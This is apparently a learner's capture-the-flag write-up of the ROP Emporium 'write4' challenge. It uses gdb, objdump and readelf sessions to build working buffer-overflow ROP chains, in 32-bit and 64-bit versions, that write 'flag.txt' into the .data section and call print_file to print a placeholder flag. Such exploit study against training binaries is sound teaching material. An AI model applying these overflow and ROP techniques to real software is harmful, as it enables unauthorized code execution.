0xf7ffb000 0xf7ffd000 0x2000 0x31000 r--p /usr/lib32/ld-linux.so.2
0xf7ffd000 0xf7ffe000 0x1000 0x33000 rw-p /usr/lib32/ld-linux.so.2
0xfffdd000 0xffffe000 0x21000 0x0 rw-p [stack]
(gdb)
0xf7fbc000 0xf7fbd000 0x1000 0x0 r-xp /home/nastyax0/write432/libwrite432.so
is what we need: (check the permissions for correct base address it needs to be in executable state to work)
0xf7fbc000 + offset = pwnme
find the exact offset by disassebling in objdump:
nastyax0@LAPTOP-DNJPR47V:~/write432$ objdump -d --disassemble=pwnme libwrite432.so
libwrite432.so: file format elf32-i386
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .text:
0000069d <pwnme>:
69d: 55 push %ebp
69e: 89 e5 mov %esp,%ebp
6a0: 53 push %ebx
6a1: 83 ec 24 sub $0x24,%esp
6a4: e8 f7 fe ff ff call 5a0 <__x86.get_pc_thunk.bx>
...
0000069d is the offset we are looking for:
0xf7fbc000 + 0x0000069d = pwnme
Moreover, lets find if we can open flag.txt through our vulnerable binary:
We have been given flag.txt with no string avaible in binary, moreover theres this function called print_file
(gdb) disassemble print_file
Dump of assembler code for function print_file:
0xf7fbc74f <+0>: push ebp
0xf7fbc750 <+1>: mov ebp,esp
0xf7fbc752 <+3>: push ebx
0xf7fbc753 <+4>: sub esp,0x34
0xf7fbc756 <+7>: call 0xf7fbc5a0 <__x86.get_pc_thunk.bx>
0xf7fbc75b <+12>: add ebx,0x18a5
0xf7fbc761 <+18>: mov DWORD PTR [ebp-0xc],0x0
...
harcoding that address in our payload:
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 +
b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"AAAA")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nastyax0/write432/write432 <
<(python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*44 + b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"AAAA")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 3, 0xf7fbc6a1 in pwnme () from ./libwrite432.so
(gdb) c
Continuing.
write4 by ROP Emporium
x86
�o ahead and give me the input already!
> Thank you!
Breakpoint 3, 0xf7fbc6a1 in pwnme () from ./libwrite432.so
(gdb) c
Continuing.
write4 by ROP Emporium
x86
�o ahead and give me the input already!
> Thank you!
Breakpoint 4, 0xf7fbc753 in print_file () from ./libwrite432.so
(gdb) c
Continuing.
Failed to open file: (null)
[Inferior 1 (process 486) exited with code 01]
(gdb)
Ofcourse thats null, as our ebp+0x8 is null, as we have overflow’d till ebp+0x4 with AAAA
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44
+ b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"AAAA")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nastyax0/write432/write432 <
<(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 +
b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"AAAA")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
Breakpoint 1, 0xf7fbc753 in print_file () from ./libwrite432.so
(gdb) x/16x $ebp
0xffffce60: 0x41414141 0x41414141 0x00000000 0xf7dab2d5
0xffffce70: 0x00000000 0x00000070 0xf7ffcff4 0xf7dab2d5
0xffffce80: 0x00000001 0xffffcf34 0xffffcf3c 0xffffcea0
0xffffce90: 0xf7fa4ff4 0x08048506 0x00000001 0xffffcf34
(gdb) x/x $ebp+0x8
0xffffce68: 0x00000000
(gdb) x/x $ebp+0x4
0xffffce64: 0x41414141
(gdb)
The challenge is intentionally forcing us to answer:
Where is writable memory? Inspect the ELF sections (.data, .bss, etc.). Determine which are writable and have enough unused space. How do we write bytes there? Find gadgets that let us move a value into memory (for example, a gadget conceptually like mov [reg], reg). Since the string is longer than a register, we are gonna typically write it in chunks. How do we use it? Once the string exists in writable memory, pass the address of that location as the first argument to print_file().
The important conceptual takeaway is that the challenge is not asking us to find a stack address that stays stable. Instead, it’s nudging us toward using a writable ELF section whose virtual address is fixed (assuming the binary isn’t built as PIE), which is a much more reliable place to store data.
Assuming you have read the instructions provided on the site, our goal is to locate and call the function print_file() with paramter string of flag.txt:
The challenge hint: In this challenge we won’t be using built-in functionality since that’s too similar to the previous challenges, instead we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg.
Challenge hints now makes total sense, we need to figure out a gadget and write-able space for our write where what primitive to work:
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 + b"\x9d\xc6\xfb\xf7" +
b"\x4f\xc7\xfb\xf7" + b"BBBB" + b"\x80\xcb\xff\xf7")')
Starting program: /home/nastyax0/write432/write432 <
<(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 +
b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"BBBB" + b"\x80\xcb\xff\xf7")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
Breakpoint 1, 0xf7fbc753 in print_file () from ./libwrite432.so
(gdb) set {int}0xf7ffcb80 = 0x67616c66
(gdb) set {int}0xf7ffcb84 = 0x7478742e
(gdb) set {char}0xf7ffcb88 = 0
(gdb) c
Continuing.
571: binding file ./libwrite432.so [0] to /lib32/libc.so.6 [0]: normal symbol `fopen' [GLIBC_2.1]
571: binding file ./libwrite432.so [0] to /lib32/libc.so.6 [0]: normal symbol `fgets' [GLIBC_2.0]
ROPE{a_placeholder_32byte_flag!}
571: binding file ./libwrite432.so [0] to /lib32/libc.so.6 [0]: normal symbol `fclose' [GLIBC_2.1]
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Anyways, the theory works we might start making actual rop chain?
for some apparent reason it kept segfaulting:
(gdb) run < <(python3 -c
'import sys; sys.stdout.buffer.write(b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74" +
b"\x00\x00\x00\x00" + b"A"*24 + b"CCCC"+ b"\x30\xce\xff\xff"
+ b"\x43\x85\x04\x08" + b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74"
+ b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"BBBB" +
b"\x80\xcb\xff\xf7")')
Starting program: /home/nastyax0/write432/write432 <
<(python3 -c 'import sys; sys.stdout.buffer.write(b"\x66\x6c\x61\x67"
+ b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*24 + b"CCCC"+ b"\x30\xce\xff\xff"
+ b"\x43\x85\x04\x08" + b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74"
+ b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"BBBB" + b"\x80\xcb\xff\xf7")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 3, 0xf7fbc6a1 in pwnme () from ./libwrite432.so
(gdb) c
Continuing.
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
Program received signal SIGSEGV, Segmentation fault.
0x08048543 in usefulGadgets ()
(gdb) disassemble usefulGadgets
Dump of assembler code for function usefulGadgets:
=> 0x08048543 <+0>: mov DWORD PTR [edi],ebp
0x08048545 <+2>: ret
0x08048546 <+3>: xchg ax,ax
0x08048548 <+5>: xchg ax,ax
0x0804854a <+7>: xchg ax,ax
0x0804854c <+9>: xchg ax,ax
0x0804854e <+11>: xchg ax,ax
End of assembler dump.
(gdb) x/s $ebp
0xffffce30: "flag.txt"
(gdb) x/s $ebp+0x4
0xffffce34: ".txt"
(gdb) x/s $ebp+0x8
0xffffce38: ""
i dont really understand why it kept segfaulting despite correct addressing and value in the address:
(gdb) x/x $eip
0x8048543 <usefulGadgets>: 0x66c32f89
(gdb) disassemble usefulGadgets
Dump of assembler code for function usefulGadgets:
=> 0x08048543 <+0>: mov DWORD PTR [edi],ebp
0x08048545 <+2>: ret
0x08048546 <+3>: xchg ax,ax
0x08048548 <+5>: xchg ax,ax
0x0804854a <+7>: xchg ax,ax
0x0804854c <+9>: xchg ax,ax
0x0804854e <+11>: xchg ax,ax
End of assembler dump.
(gdb) x/s $eip
0x8048543 <usefulGadgets>: "\211/\303f\220f\220f\220f\220f\220UWVS\350\347\376\377\377\201ç\032"
(gdb) x/a $eip
0x8048543 <usefulGadgets>: 0x66c32f89
(gdb) x/a $ebp
0xffffce30: 0x67616c66
(gdb) x/s $ebp
0xffffce30: "flag.txt"
(gdb) x/x $edi
0xf7ffcb80: 0x00
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"\x66\x6c\x61\x67" +
b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*24 + b"CCCC"+ b"\x30\xce\xff\xff" +
b"\x43\x85\x04\x08" + b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74" + b"\x9d\xc6\xfb\xf7"
+ b"\x4f\xc7\xfb\xf7" + b"BBBB" + b"\x80\xcb\xff\xf7")')
Why does .data.rel.ro exist?
Some global variables:
cannot live in .rodata because the dynamic linker must relocate them at load time (fix addresses). should become read-only afterward for security.
The process is:
- Loader maps the section as writable.
- Applies relocations.
- Changes the page permissions to read-only (using mprotect).
- Program runs with the section no longer writable.
Hence the name:
data → contains data rel → needs relocation ro → becomes read-only afterward Looks like we genuinely cant do a thing about it, is theres any way we can make edi not point towards .data.rel.ro section? cause usefulGadgets sits at great section
How about clearing the edi? like pop edi before we jump to usefulGadgets?
0x080485aa : pop edi ; pop ebp ; ret
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"\x66\x6c\x61\x67" +
b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*24 + b"CCCC" + b"\x43\x85\x04\x08" +
b"\xaa\x85\x04\x08" +b"\x30\xce\xff\xff"+ b"\x66\x6c\x61\x67" + b"\x43\x85\x04\x08" +
b"\x2e\x74\x78\x74" + b"\x9d\xc6\xfb\xf7" + b"\x4f\xc7\xfb\xf7" + b"BBBB" + b"\x80\xcb\xff\xf7")')
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"\x66\x6c\x61\x67" +
b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*24 + b"CCCC" + b"\x43\x85\x04\x08" +
b"\xaa\x85\x04\x08" +b"\x30\xce\xff\xff"+ b"\x34\xce\xff\xff"+ b"\x43\x85\x04\x08" +
b"\x4f\xc7\xfb\xf7" + b"\x30\xce\xff\xff" + b"\x00\x00\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nastyax0/write432/write432 < <(python3 -c 'import sys; sys.stdout.buffer.write(
b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00"
+ b"A"*24 + b"CCCC" + b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08"
+b"\x30\xce\xff\xff"+ b"\x34\xce\xff\xff"+ b"\x43\x85\x04\x08"
+ b"\x4f\xc7\xfb\xf7" + b"\x30\xce\xff\xff" + b"\x00\x00\x00\x00")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 3, 0x080485aa in __libc_csu_init ()
(gdb) c
Continuing.
Breakpoint 2, 0xf7fbc69d in pwnme () from ./libwrite432.so
(gdb)
Continuing.
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
Breakpoint 3, 0x080485aa in __libc_csu_init ()
(gdb)
Continuing.
Breakpoint 1, 0x08048543 in usefulGadgets ()
(gdb)
Continuing.
Breakpoint 4, 0xf7fbc74f in print_file () from ./libwrite432.so
(gdb)
Continuing.
Failed to open file: (null)
[Inferior 1 (process 90) exited with code 01]
(gdb)
Breakpoint 4, 0xf7fbc74f in print_file () from ./libwrite432.so
(gdb)
Continuing.
Failed to open file: [���flag.txt
[Inferior 1 (process 134) exited with code 01]
(gdb)
The program is not being run.
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"AAAA"+b"\x66\x6c\x61\x67"
+ b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*20 + b"CCCC" + b"\x43\x85\x04\x08" +
b"\xaa\x85\x04\x08" +b"\x30\xce\xff\xff"+ b"\x30\xcb\xff\xf7" + b"\x43\x85\x04\x08" +
b"\x4f\xc7\xfb\xf7" + b"\x9d\xc6\xfb\xf7" + b"\x34\xce\xff\xff")')
Starting program: /home/nastyax0/write432/write432 <
<(python3 -c 'import sys; sys.stdout.buffer.write(b"AAAA"+b"\x66\x6c\x61\x67"
+ b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*20 + b"CCCC" + b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08"
+b"\x30\xce\xff\xff"+ b"\x30\xcb\xff\xf7" + b"\x43\x85\x04\x08" + b"\x4f\xc7\xfb\xf7"
+ b"\x9d\xc6\xfb\xf7" + b"\x34\xce\xff\xff")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
buffer size: 40 bytes (ebp-0x28)
(gdb) x/x 0x08048543
0x8048543 <usefulGadgets>: 0x66c32f89
(gdb) x/x 0x080485aa
0x80485aa <__libc_csu_init+90>: 0x8dc35d5f
(gdb) x/x 0xffffce30
0xffffce30: 0xffffce70
(gdb) x/x 0xffffcb30
0xffffcb30: 0x00000000
(gdb) x/x 0xf7fbc74f
0xf7fbc74f <print_file>: 0x53e58955
(gdb) x/x 0xf7fbc69d
0xf7fbc69d <pwnme>: 0x53e58955
(gdb) x/x 0xffffce34
0xffffce34: 0xf7fbc746
(gdb) x/x 0xf7fbc746
0xf7fbc746 <pwnme+169>: 0x9010c483
(gdb) x/16wx 0xffffce34
0xffffce34: 0xf7fbc746 0xf7fbc840 0xffffce48 0x00000200
0xffffce44: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffce54: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffce64: 0x00000000 0x43434343 0x43434343 0xf7ffcb30
variable i chose to work with:
nastyax0@LAPTOP-DNJPR47V:~/write432$ readelf -S write432
There are 30 section headers, starting at offset 0x17a4:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.bu[...] NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 00003c 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481e8 0001e8 0000b0 10 A 6 1 4
[ 6] .dynstr STRTAB 08048298 000298 00008b 00 A 0 0 1
[ 7] .gnu.version VERSYM 08048324 000324 000016 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 0804833c 00033c 000020 00 A 6 1 4
[ 9] .rel.dyn REL 0804835c 00035c 000008 08 A 5 0 4
[10] .rel.plt REL 08048364 000364 000018 08 AI 5 23 4
[11] .init PROGBITS 0804837c 00037c 000023 00 AX 0 0 4
[12] .plt PROGBITS 080483a0 0003a0 000040 04 AX 0 0 16
[13] .plt.got PROGBITS 080483e0 0003e0 000008 08 AX 0 0 8
[14] .text PROGBITS 080483f0 0003f0 0001c2 00 AX 0 0 16
[15] .fini PROGBITS 080485b4 0005b4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 080485c8 0005c8 000014 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 080485dc 0005dc 000044 00 A 0 0 4
[18] .eh_frame PROGBITS 08048620 000620 000114 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049efc 000efc 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f00 000f00 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 08049f04 000f04 0000f8 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 1
[26] .comment PROGBITS 00000000 001020 000029 01 MS 0 0 1
[27] .symtab SYMTAB 00000000 00104c 000440 10 28 47 4
[28] .strtab STRTAB 00000000 00148c 000211 00 0 0 1
[29] .shstrtab STRTAB 00000000 00169d 000105 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), p (processor specific)
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 is great as it’s 8 bytes long.
Breakpoint 1, 0xf7fbc6a1 in pwnme () from ./libwrite432.so
(gdb) run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"AAAA" + b"\x66\x6c\x61\x67" +
b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*20 + b"CCCC" + b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08" +
b"\x18\xa0\x04\x08"+ b"\x66\x6c\x61\x67" +b"\x43\x85\x04\x08"+ b"\xaa\x85\x04\x08" + b"\x1c\xa0\x04\x08"+
b"\x2e\x74\x78\x74" +b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08" + b"\x20\xa0\x04\x08"+ b"\x00\x00\x00\x00" +
b"\x43\x85\x04\x08" + b"\x4f\xc7\xfb\xf7" + b"\x9d\xc6\xfb\xf7" + b"\x18\xa0\x04\x08")')
Starting program: /home/nastyax0/write432/write432 < <(python3 -c 'import sys; sys.stdout.buffer.write(b"AAAA"
+ b"\x66\x6c\x61\x67" + b"\x2e\x74\x78\x74" +b"\x00\x00\x00\x00" + b"A"*20 + b"CCCC" +
b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08" + b"\x18\xa0\x04\x08"+ b"\x66\x6c\x61\x67"
+b"\x43\x85\x04\x08"+ b"\xaa\x85\x04\x08" + b"\x1c\xa0\x04\x08"+ b"\x2e\x74\x78\x74"
+b"\x43\x85\x04\x08" + b"\xaa\x85\x04\x08" + b"\x20\xa0\x04\x08"+ b"\x00\x00\x00\x00"
+ b"\x43\x85\x04\x08" + b"\x4f\xc7\xfb\xf7" + b"\x9d\xc6\xfb\xf7" + b"\x18\xa0\x04\x08")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
Program received signal SIGSEGV, Segmentation fault.
0x0804a018 in data_start ()
(gdb)
Buffer Overflow
↓
pop
nastyax0@LAPTOP-DNJPR47V:~/write432$ python3 -c 'import sys; sys.stdout.buffer.write(
b"AAAA" +
b"\x66\x6c\x61\x67" +
b"\x2e\x74\x78\x74" +
b"\x00\x00\x00\x00" +
b"A"*20 +
b"CCCC" +
b"\x43\x85\x04\x08" +
b"\xaa\x85\x04\x08" +
b"\x18\xa0\x04\x08" +
b"\x66\x6c\x61\x67" +
b"\x43\x85\x04\x08" +
b"\xaa\x85\x04\x08" +
b"\x1c\xa0\x04\x08" +
b"\x2e\x74\x78\x74" +
b"\x43\x85\x04\x08" +
b"\xaa\x85\x04\x08" +
b"\x20\xa0\x04\x08" +
b"\x00\x00\x00\x00" +
b"\x43\x85\x04\x08" +
b"\x4f\xc7\xfb\xf7" +
b"\x9d\xc6\xfb\xf7" +
b"\x18\xa0\x04\x08"
)' | ./write432
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
Segmentation fault (core dumped)
For 64 bit-binary:
As in similar to 32 bit binary due to fact unlike last time, this time we have used rop chain in 32 bit binary too. A apparent concept remains same, but now underlying assembly slightly changes in terms of registers and calling conventions too
(gdb) disassemble print_file
Dump of assembler code for function print_file:
0x00007ffff7c00943 <+0>: push rbp
0x00007ffff7c00944 <+1>: mov rbp,rsp
0x00007ffff7c00947 <+4>: sub rsp,0x40
0x00007ffff7c0094b <+8>: mov QWORD PTR [rbp-0x38],rdi #rdi getting dumped in rbp-0x38
0x00007ffff7c0094f <+12>: mov QWORD PTR [rbp-0x8],0x0
0x00007ffff7c00957 <+20>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c0095b <+24>: lea rsi,[rip+0xd5] # 0x7ffff7c00a37
0x00007ffff7c00962 <+31>: mov rdi,rax
0x00007ffff7c00965 <+34>: call 0x7ffff7c007a0 <fopen@plt>
0x00007ffff7c0096a <+39>: mov QWORD PTR [rbp-0x8],rax
0x00007ffff7c0096e <+43>: cmp QWORD PTR [rbp-0x8],0x0
0x00007ffff7c00973 <+48>: jne 0x7ffff7c00997 <print_file+84>
0x00007ffff7c00975 <+50>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7c00979 <+54>: mov rsi,rax
0x00007ffff7c0097c <+57>: lea rdi,[rip+0xb6] # 0x7ffff7c00a39
0x00007ffff7c00983 <+64>: mov eax,0x0
0x00007ffff7c00988 <+69>: call 0x7ffff7c00750 <printf@plt>
...
(gdb) disassemble usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000400628 <+0>: mov QWORD PTR [r14],r15 #we have r14
0x000000000040062b <+3>: ret
0x000000000040062c <+4>: nop DWORD PTR [rax+0x0]
End of assembler dump.
basically we need to link [r14] and rdi somehow? somehow the value of rdi == value in r14, moreover the string isnt paassed directly but as address.
0x0000000000400690 <+96>: pop r14
0x0000000000400692 <+98>: pop r15
0x0000000000400694 <+100>: ret
by using above gadgets we make sure, our values that is address we would like to write and value we would like to write in that address is passed:
value to write in that adddress: flag.txt address: ????
like previously we need an empty address with read and write permissions and not used:
[23] .data PROGBITS 0000000000601028 00001028
0000000000000010 0000000000000000 WA 0 0 8
im going to use the above
value to write in that adddress: flag.txt b”\x66\x6c\x61\x67\x2e\x74\x78\x74” address: ???? b”\x28\x10\x60\x00\x00\x00\x00\x00” pop r14, r15 b”\x28\x10\x60\x00\x00\x00\x00\x00”
we have fixed our r14 and r15, but we need to fix rdi too?
it will be better if address of rdi is changed to r14? that is b”\x28\x10\x60\x00\x00\x00\x00\x00”. we can do that using pop rdi, as pop operation takes up esp and dumps it up to rdi?
(gdb) x/i 0x0000000000400693
0x400693 <__libc_csu_init+99>: pop rdi
(gdb)
we need to make change to rdi before print_file (b”\x43\x09\xc0\xf7\xff\x7f\x00\x00”) starts
“A”*16 ↓ pop r14 ; pop r15 ; ret ↓ 0x601028 (.data) “flag.txt” ↓ mov [r14], r15 ; ret ↓ pop rdi ; ret ↓ 0x601028 ↓ print_file
nastyax0@LAPTOP-DNJPR47V:~$ python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*16 +
b"BBBBBBBB" +
b"CCCCCCCC" +
b"DDDDDDDD" +
b"\x90\x06\x40\x00\x00\x00\x00\x00" +
b"\x28\x10\x60\x00\x00\x00\x00\x00" +
b"\x66\x6c\x61\x67\x2e\x74\x78\x74" +
b"\x28\x06\x40\x00\x00\x00\x00\x00" +
b"\x93\x06\x40\x00\x00\x00\x00\x00" +
b"\x28\x10\x60\x00\x00\x00\x00\x00" +
b"\x43\x09\xc0\xf7\xff\x7f\x00\x00" +
b"\x38\x10\x60\x00\x00\x00\x00\x00"
)' | ./write4
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)
nastyax0@LAPTOP-DNJPR47V:~$
ROP Emporium – badchars Challenge (32-bit & 64-bit)
Download the binaries: https://ropemporium.com/challenge/badchars.html
Download any architecture type that interests you.
Binary Analysis
Assuming you have read the instructions provided on the site, our goal is to locate and call the function print_file() with paramter string of flag.txt:
The challenge hint: In this challenge we won’t be using built-in functionality since that’s too similar to the previous challenges, instead we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg.
The site has hinted us at gadget finding and chaining.
Moreover, inroduction to Write-what-where Condition:
Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
https://martellosecurity.com/kb/mitre/cwe/123/
pull out gdb on the binary: 32 bit binary